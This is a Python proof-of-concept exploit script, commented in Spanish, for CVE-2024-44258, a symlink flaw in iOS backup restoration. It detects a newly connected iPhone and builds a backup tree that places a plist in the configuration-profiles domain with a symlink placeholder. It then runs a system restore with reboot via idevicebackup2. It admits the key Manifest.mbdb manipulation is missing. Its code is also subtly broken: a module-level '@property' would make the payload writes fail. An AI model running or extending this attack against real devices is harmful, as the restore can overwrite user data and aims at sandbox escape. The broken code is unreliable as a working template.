#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ PoC Conceptual para CVE-2024-44258: Vulnerabilidad de Symlink en Restauración de Backups de iOS. ------------------------------------------------------------------------------------------------- ADVERTENCIA: Script altamente experimental. Úsalo bajo tu propio riesgo y solo en dispositivos y cuentas de tu propiedad con fines educativos y de investigación. Este script NO implementa la manipulación real del Manifest.mbdb, que es CRUCIAL para que el exploit funcione. Es una demostración conceptual. ------------------------------------------------------------------------------------------------- """ import os import subprocess import time import shutil # Para borrar el directorio del PoC si ya existe import sys # Para sys.exit() from typing import Optional, Set, Tuple, List # Para type hints # --- Configuración del PoC (AJUSTA ESTOS VALORES) --- # Nombre del directorio local para el backup del PoC POC_BACKUP_DIR_NAME: str = "CVE-2024-44258_PoC_Backup" # ¡CAMBIA ESTO! Dónde quieres que apunte el symlink en el dispositivo. # Debe ser una ruta escribible por el proceso de restauración. # Y una que puedas verificar después (ej. dentro de la sandbox de una app). # Ejemplo: "/private/var/mobile/Containers/Data/Application//tmp/MyExploitFolder" # OJO: Rutas como /private/var/mobile/Library/Caches/ pueden tener protecciones adicionales. SYMLINK_TARGET_ON_DEVICE: str = "/private/var/mobile/Library/Caches/MyExploitFolder_CVE_PoC" # Nombre del archivo .plist de prueba TEST_PLIST_FILENAME: str = "PoC_File_CVE-2024-44258.plist" # Contenido del archivo .plist de prueba # Usamos una propiedad para generar el contenido dinámicamente con la hora actual @property def TEST_PLIST_CONTENT_BYTES() -> bytes: timestamp = time.strftime('%Y-%m-%d %H:%M:%S %Z') content_str = f""" CVE-2024-44258_Exploit_Success Este archivo fue colocado mediante la vulnerabilidad de symlink! Symlink_Intended_Target {SYMLINK_TARGET_ON_DEVICE} Timestamp {timestamp} """ return content_str.encode('utf-8') # --- Rutas y Dominios Relevantes para la CVE --- # Donde se coloca el archivo .plist en el backup (relativo al HomeDomain) HOME_DOMAIN_PROFILE_PATH: str = "Library/ConfigurationProfiles" # Dominio del sistema compartido donde se intentará crear el symlink SYMLINK_DOMAIN_NAME: str = "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles" # El nombre "Library" dentro de SYMLINK_DOMAIN_NAME será el symlink en el backup manipulado SYMLINK_NAME_IN_BACKUP: str = "Library" # --- Funciones Auxiliares (Simulación de la API de C para crear backups) --- # Estas funciones simulan la creación de la estructura del backup en el disco local. # La parte CRÍTICA de escribir el Manifest.mbdb correctamente es ASUMIDA como # funcional por estas funciones "hipotéticas" que reflejarían una API de C completa. # En este script, esta funcionalidad crítica NO ESTÁ IMPLEMENTADA. def _create_directory_if_not_exists(path: str, mode: int = 0o755) -> None: """Crea un directorio si no existe, incluyendo los directorios padres.""" os.makedirs(path, mode=mode, exist_ok=True) def poc_backup_add_directory(base_path: str, domain: str, relative_path: Optional[str], mode: int = 0o755) -> None: """ Simula `backup_add_directory`: crea el directorio en el sistema de archivos local. En un backup real, esto también actualizaría el Manifest.mbdb. """ full_path: str = os.path.join(base_path, domain) if relative_path: full_path = os.path.join(full_path, relative_path) _create_directory_if_not_exists(full_path, mode) print(f" [+] Directorio creado (local): {full_path}") def poc_backup_add_file_with_data(base_path: str, domain: str, relative_path_to_file: str, data: bytes, mode: int = 0o644) -> None: """ Simula `backup_add_file_with_data`: crea el archivo con datos en el FS local. En un backup real, esto también actualizaría el Manifest.mbdb. """ full_file_path: str = os.path.join(base_path, domain, relative_path_to_file) _create_directory_if_not_exists(os.path.dirname(full_file_path)) # Asegurar directorio padre with open(full_file_path, 'wb') as f: f.write(data) os.chmod(full_file_path, mode) print(f" [+] Archivo creado (local): {full_file_path} ({len(data)} bytes)") def poc_backup_add_symlink_placeholder(base_path: str, domain: str, symlink_name_in_fs: str, target_on_device: str) -> None: """ Simula `backup_add_symlink` creando un ARCHIVO DE TEXTO como marcador de posición. IMPORTANTE: Crear un symlink en el sistema de archivos del HOST (usando os.symlink) NO es lo mismo que registrar un symlink en el Manifest.mbdb para iOS. Esta función SOLO registra la intención creando un archivo de texto. La magia real de la manipulación del MBDB es la parte compleja NO implementada aquí. """ # El "symlink" en el backup es un directorio que en el Manifest.mbdb se marcaría como symlink. # Para la estructura de archivos, creamos el directorio que contendría el symlink. symlink_dir_path_in_backup: str = os.path.join(base_path, domain, symlink_name_in_fs) _create_directory_if_not_exists(symlink_dir_path_in_backup) # Dentro de este directorio, dejamos una nota clara sobre la simulación. placeholder_file_path: str = os.path.join(symlink_dir_path_in_backup, "_SYMLINK_TARGET_NOTE.txt") placeholder_content: str = ( f"Este directorio '{symlink_name_in_fs}' (ruta en el backup: {symlink_dir_path_in_backup})\n" f"está destinado a ser un ENLACE SIMBÓLICO (symlink) en un backup de iOS REAL y MANIPULADO.\n\n" f"Debería apuntar a: '{target_on_device}' en el dispositivo.\n\n" f"Para que esto funcione, el archivo Manifest.mbdb del backup tendría que ser modificado\n" f"para registrar esta ruta como un symlink. Este script NO realiza esa manipulación crítica.\n" f"Este archivo de texto y la estructura de directorios solo sirven como una representación local\n" f"de cómo se organizaría el backup para el exploit CVE-2024-44258.\n" ) with open(placeholder_file_path, 'w', encoding='utf-8') as f: f.write(placeholder_content) print(f" [+] Placeholder de Symlink (directorio y nota) creado (local): {symlink_dir_path_in_backup}") print(f" (Objetivo intencionado en el dispositivo: {target_on_device})") def poc_backup_write_mbdb_simulation(base_path: str, operations_log: List[str]) -> None: """ Simula `backup_write_mbdb`. En un backup real, aquí se guardaría el archivo Manifest.mbdb binario, reflejando todas las operaciones anteriores. Este es el paso más complejo. Este script solo crea un archivo de log para simular este paso. """ manifest_log_path: str = os.path.join(base_path, "Manifest_OPERATIONS_SIMULATED.txt") final_log_content: str = ( "SIMULACIÓN DE ESCRITURA DEL Manifest.mbdb:\n" "---------------------------------------------\n" "Las siguientes operaciones serían registradas en un Manifest.mbdb real y manipulado:\n\n" ) final_log_content += "\n".join(operations_log) final_log_content += ( "\n\nNOTA IMPORTANTE: Este archivo es solo una simulación. Un Manifest.mbdb real es un archivo binario complejo.\n" "La correcta creación y manipulación de Manifest.mbdb es esencial para que el exploit funcione y NO se implementa aquí." ) with open(manifest_log_path, "w", encoding='utf-8') as f: f.write(final_log_content) print(f" [+] Simulación de Manifest.mbdb escrita en: {manifest_log_path}") # --- Lógica Principal del PoC --- def check_dependencies() -> bool: """Verifica la existencia de dependencias de libimobiledevice.""" print("[*] Verificando dependencias (herramientas de libimobiledevice)...") tools: List[str] = ["idevicelist", "idevicename", "idevicebackup2"] missing_tools: List[str] = [tool for tool in tools if shutil.which(tool) is None] if missing_tools: print("[!] Error: Faltan las siguientes herramientas de libimobiledevice:") for tool in missing_tools: print(f" - {tool}") print(" Asegúrate de que libimobiledevice esté instalado y en el PATH.") print(" En macOS (usando Homebrew): brew install libimobiledevice") print(" En Debian/Ubuntu: sudo apt install libimobiledevice-utils") return False print("[+] Dependencias de libimobiledevice encontradas.") return True def get_connected_iphone_udid() -> Optional[str]: """ Espera y devuelve el UDID del primer iPhone que se conecte. Ignora los dispositivos que ya estaban conectados al inicio. """ print("\n[*] Esperando conexión de un iPhone...") print(" Por favor, conecta un iPhone al ordenador.") last_known_devices: Set[str] = set() try: # Obtener lista inicial de dispositivos (para ignorarlos si ya estaban) process = subprocess.run(["idevicelist", "-n"], capture_output=True, text=True, check=False, timeout=10) if process.returncode == 0: last_known_devices = set(line.strip() for line in process.stdout.splitlines() if line.strip()) # No es un error crítico si no hay dispositivos al inicio o si idevicelist falla aquí. except FileNotFoundError: print("[!] Error crítico: 'idevicelist' no encontrado. Esta verificación debería haber ocurrido en check_dependencies().") return None except subprocess.TimeoutExpired: print("[!] Timeout esperando 'idevicelist' al inicio (obteniendo lista inicial).") except Exception as e: print(f"[!] Error inesperado al obtener la lista inicial de dispositivos: {e}") # Continuar de todas formas, puede que no hubiera dispositivos conectados. attempts = 0 max_attempts = 30 # Esperar aproximadamente 1 minuto (30 * 2 segundos) while attempts < max_attempts: try: process = subprocess.run(["idevicelist", "-n"], capture_output=True, text=True, check=True, timeout=5) current_devices: Set[str] = set(line.strip() for line in process.stdout.splitlines() if line.strip()) new_devices: Set[str] = current_devices - last_known_devices if new_devices: udid: str = new_devices.pop() # Tomar el primer nuevo dispositivo try: name_proc = subprocess.run(["idevicename", "--udid", udid], capture_output=True, text=True, check=True, timeout=5) device_name: str = name_proc.stdout.strip() print(f"[+] iPhone conectado: {device_name} (UDID: {udid})") return udid except subprocess.CalledProcessError as e_name: stderr_output = e_name.stderr.strip() if e_name.stderr else str(e_name) print(f"[!] Dispositivo {udid} detectado, pero no se pudo obtener nombre (error: {stderr_output}). Asumiendo que es el objetivo.") return udid except subprocess.TimeoutExpired: print(f"[!] Timeout obteniendo nombre para UDID {udid}. Asumiendo que es el objetivo.") return udid except Exception as e_name_generic: print(f"[!] Error obteniendo nombre para UDID {udid}: {e_name_generic}. Asumiendo que es el objetivo.") return udid except subprocess.CalledProcessError: # Esto puede pasar si no hay dispositivos o se desconectan, es normal en el bucle. last_known_devices = set() # Resetear para detectar la próxima conexión except subprocess.TimeoutExpired: print("[.] Timeout esperando 'idevicelist', reintentando...") except Exception as e: print(f"[!] Error inesperado al detectar dispositivos: {e}") time.sleep(2) attempts += 1 if attempts % 10 == 0 : # Recordatorio para el usuario cada 20 segundos print(" (Sigo esperando la conexión del iPhone...)") print("[!] No se detectó un nuevo iPhone conectado después de un tiempo. ¿Está el dispositivo desbloqueado y confía en el ordenador?") return None def create_poc_backup_structure(base_poc_path: str) -> Tuple[bool, List[str]]: """ Crea la estructura de archivos del PoC backup en el directorio local `base_poc_path`. Devuelve un booleano indicando éxito y una lista de operaciones para el log del manifiesto. """ print(f"\n[*] Creando estructura del PoC backup en: {base_poc_path}") operations_log: List[str] = [] if os.path.exists(base_poc_path): print(f" [!] El directorio '{base_poc_path}' ya existe. Eliminándolo...") try: shutil.rmtree(base_poc_path) except Exception as e: print(f" [!] Error al eliminar el directorio existente '{base_poc_path}': {e}") return False, operations_log try: _create_directory_if_not_exists(base_poc_path) except Exception as e: print(f" [!] Error al crear el directorio base '{base_poc_path}': {e}") return False, operations_log # --- Pasos de la CVE-2024-44258 --- # 1. Crear directorio para el .plist de prueba en HomeDomain. # Ruta en backup: HomeDomain/Library/ConfigurationProfiles/ print(" [1] Añadiendo directorio para el perfil de configuración en HomeDomain...") poc_backup_add_directory(base_poc_path, "HomeDomain", HOME_DOMAIN_PROFILE_PATH) operations_log.append(f"ADD_DIR: Domain=HomeDomain, Path={HOME_DOMAIN_PROFILE_PATH}, Mode=0755") # 2. Añadir el archivo .plist (payload) a HomeDomain. # Ruta en backup: HomeDomain/Library/ConfigurationProfiles/PoC_File_CVE-2024-44258.plist print(f" [2] Añadiendo archivo .plist de prueba ('{TEST_PLIST_FILENAME}') a HomeDomain...") full_plist_path_in_homedomain: str = os.path.join(HOME_DOMAIN_PROFILE_PATH, TEST_PLIST_FILENAME) poc_backup_add_file_with_data(base_poc_path, "HomeDomain", full_plist_path_in_homedomain, TEST_PLIST_CONTENT_BYTES) operations_log.append(f"ADD_FILE: Domain=HomeDomain, Path={full_plist_path_in_homedomain}, Mode=0644, Size={len(TEST_PLIST_CONTENT_BYTES)} bytes") # 3. Crear el directorio base para el symlink en el dominio del sistema compartido. # Ruta en backup: SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles/ print(f" [3] Añadiendo directorio base para el symlink en el dominio '{SYMLINK_DOMAIN_NAME}'...") poc_backup_add_directory(base_poc_path, SYMLINK_DOMAIN_NAME, None) # None para la raíz del dominio operations_log.append(f"ADD_DIR: Domain={SYMLINK_DOMAIN_NAME}, Path=NULL, Mode=0755") # 4. Crear el symlink (conceptualmente, mediante un placeholder). # Nombre del symlink en backup: Library (dentro de SYMLINK_DOMAIN_NAME) # Objetivo del symlink en dispositivo: SYMLINK_TARGET_ON_DEVICE print(f" [4] Creando placeholder para el symlink '{SYMLINK_NAME_IN_BACKUP}' en '{SYMLINK_DOMAIN_NAME}'...") poc_backup_add_symlink_placeholder(base_poc_path, SYMLINK_DOMAIN_NAME, SYMLINK_NAME_IN_BACKUP, SYMLINK_TARGET_ON_DEVICE) operations_log.append(f"ADD_SYMLINK: Domain={SYMLINK_DOMAIN_NAME}, SymlinkName={SYMLINK_NAME_IN_BACKUP}, Target={SYMLINK_TARGET_ON_DEVICE}") # 5. Escribir el manifiesto (simulado). print(" [5] Escribiendo simulación del Manifest.mbdb...") poc_backup_write_mbdb_simulation(base_poc_path, operations_log) print("\n[+] Estructura local del PoC backup creada con éxito.") print(" IMPORTANTE: Recuerda que este script SÓLO SIMULA la creación del backup.") print(" La creación de un 'Manifest.mbdb' válido y manipulado que registre") print(" correctamente el symlink es la parte compleja NO IMPLEMENTADA aquí,") print(" pero es ESENCIAL para que la vulnerabilidad CVE-2024-44258 sea explotable.") return True, operations_log def restore_poc_backup(udid: str, backup_path: str) -> bool: """ Intenta restaurar el backup del PoC al dispositivo especificado. ADVERTENCIA: Esto sobreescribirá datos en el dispositivo. """ print(f"\n[*] Intentando restaurar el backup desde '{backup_path}' al dispositivo {udid}.") print("\n !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!") print(" !!! ADVERTENCIA MUY IMPORTANTE !!!") print(" !!! Esta acción intentará RESTAURAR UN BACKUP MODIFICADO en tu iPhone. !!!") print(" !!! Esto SOBREESCRIBIRÁ datos en el dispositivo y podría dejarlo INESTABLE o INUTILIZABLE. !!!") print(" !!! ÚSALO BAJO TU PROPIO RIESGO Y SÓLO EN DISPOSITIVOS DE PRUEBA. !!!") print(" !!! ASEGÚRATE DE TENER UN BACKUP COMPLETO Y FIABLE DE TU DISPOSITIVO ANTES DE CONTINUAR. !!!") print(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n") confirm: str = input(f" ¿Estás ABSOLUTAMENTE SEGURO de que quieres continuar con la restauración en el dispositivo {udid}? (escribe 'SI, ACEPTO EL RIESGO' para confirmar): ") if confirm != 'SI, ACEPTO EL RIESGO': print("\n[!] Restauración cancelada por el usuario.") return False print(f"\n Procediendo con la restauración en {udid}...") try: cmd: List[str] = ["idevicebackup2", "restore", "--udid", udid, "--system", "--copy", "--reboot", backup_path] print(f" Ejecutando comando: {' '.join(cmd)}") process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, encoding='utf-8', errors='replace') print(" --- Salida de idevicebackup2 (puede tardar varios minutos) ---") # Iterar sobre la salida de stdout y stderr para mostrarla en tiempo real if process.stdout: for line in iter(process.stdout.readline, ''): if line: print(f" STDOUT: {line.strip()}") stdout_res, stderr_res = process.communicate(timeout=600) # Esperar que termine, timeout 10 mins if stdout_res: # Imprimir cualquier resto de stdout for line in stdout_res.strip().splitlines(): print(f" STDOUT: {line.strip()}") if stderr_res: # Imprimir todo stderr al final si lo hubo print(" ---- ERRORES (STDERR) ----") for line in stderr_res.strip().splitlines(): print(f" STDERR: {line.strip()}") print(" --------------------------") print(" --------------------------------------------------------------") if process.returncode == 0 or \ any(success_msg in stdout_res for success_msg in ["Restore Succeeded.", "Requesting reboot", "MobileBackup Restore Complete", "Restore complete"]): print("\n[+] Proceso de restauración iniciado o completado con éxito (según idevicebackup2).") print(" El dispositivo debería reiniciarse o estar en proceso de restauración.") print(" Sigue las instrucciones en la pantalla del dispositivo si las hubiera.") return True else: print(f"\n[!] Falló el inicio/proceso de la restauración (código de retorno de idevicebackup2: {process.returncode}).") print(" Revisa la salida STDERR y STDOUT para más detalles.") return False except FileNotFoundError: print("[!] Error crítico: 'idevicebackup2' no encontrado. Esta verificación debería haber ocurrido en check_dependencies().") return False except subprocess.TimeoutExpired: print("[!] Timeout durante la ejecución de idevicebackup2. La restauración podría estar en progreso o haber fallado.") print(" Verifica el estado del dispositivo manualmente.") return False except Exception as e: print(f"[!] Error inesperado durante la restauración: {e}") return False def print_post_restore_instructions() -> None: """Imprime las instrucciones para verificar el PoC después de la restauración.""" print("\n--- Verificación Post-Restauración (Manual) ---") print(" 1. Espera a que el dispositivo se reinicie completamente y finalice cualquier proceso de configuración post-restauración.") print(" 2. Una vez que el dispositivo esté operativo, necesitarás acceder a su sistema de archivos.") print(" Esto puede requerir un dispositivo con jailbreak (usando SSH o Filza) o herramientas forenses/de desarrollo.") print(" 3. Navega a la ruta que especificaste en 'SYMLINK_TARGET_ON_DEVICE':") print(f" RUTA OBJETIVO: '{SYMLINK_TARGET_ON_DEVICE}'") print(" 4. Dentro de esa carpeta, busca el archivo que intentamos colocar:") print(f" ARCHIVO DE PRUEBA: '{TEST_PLIST_FILENAME}'") print(f" RUTA COMPLETA ESPERADA: '{os.path.join(SYMLINK_TARGET_ON_DEVICE, TEST_PLIST_FILENAME)}'") print(" 5. Si el archivo existe en esa ubicación y su contenido es el esperado,") print(" la vulnerabilidad de symlink (CVE-2024-44258) fue explotada con éxito") print(" AL MENOS CONCEPTUALMENTE por la lógica de restauración, asumiendo que") print(" un Manifest.mbdb REALMENTE MANIPULADO hubiera sido usado.") print(" 6. RECUERDA: Este script NO crea el Manifest.mbdb manipulado, por lo que") print(" es MUY IMPROBABLE que el archivo aparezca allí usando SÓLO este script.") print(" El propósito de este script es preparar la ESTRUCTURA DE ARCHIVOS y demostrar el flujo.") def main() -> None: """Función principal del script PoC.""" print("--- PoC Conceptual Automático para CVE-2024-44258 (Simulación de Backup) ---") print("-----------------------------------------------------------------------------") print("ADVERTENCIA: Script altamente experimental con FINES EDUCATIVOS Y DE INVESTIGACIÓN.") print(" Úsalo bajo tu propio riesgo y SOLO en dispositivos de tu propiedad.") print(" Este script NO crea un exploit funcional por sí mismo debido a la") print(" ausencia de manipulación real del Manifest.mbdb.\n") if not check_dependencies(): sys.exit(1) # Validar SYMLINK_TARGET_ON_DEVICE (básico) if not SYMLINK_TARGET_ON_DEVICE or not SYMLINK_TARGET_ON_DEVICE.startswith(("/private/var/", "/var/")): # /var/ es symlink a /private/var/ print(f"[!] ADVERTENCIA: La ruta SYMLINK_TARGET_ON_DEVICE ('{SYMLINK_TARGET_ON_DEVICE}') podría no ser ideal o accesible.") print(" Se recomienda una ruta dentro de la sandbox de una aplicación, ej. /private/var/mobile/Containers/Data/Application//tmp/ ") print(" o una caché pública como /private/var/mobile/Library/Caches/.") if input(" ¿Continuar de todas formas? (s/N): ").lower() != 's': print("[!] Abortado por el usuario.") sys.exit(1) udid: Optional[str] = get_connected_iphone_udid() if not udid: print("\n[!] No se pudo detectar un iPhone conectado o se canceló la espera. Saliendo.") sys.exit(1) poc_backup_full_path: str = os.path.abspath(POC_BACKUP_DIR_NAME) success_creation, _ = create_poc_backup_structure(poc_backup_full_path) if not success_creation: print("\n[!] No se pudo crear la estructura del PoC backup. Saliendo.") sys.exit(1) if restore_poc_backup(udid, poc_backup_full_path): print("\n[INFO] La restauración parece haberse iniciado o completado. Sigue las instrucciones en pantalla del dispositivo.") else: print("\n[!] La restauración no se completó con éxito, fue cancelada o falló.") print_post_restore_instructions() print("\n--- Fin del Script PoC Conceptual ---") if __name__ == "__main__": main()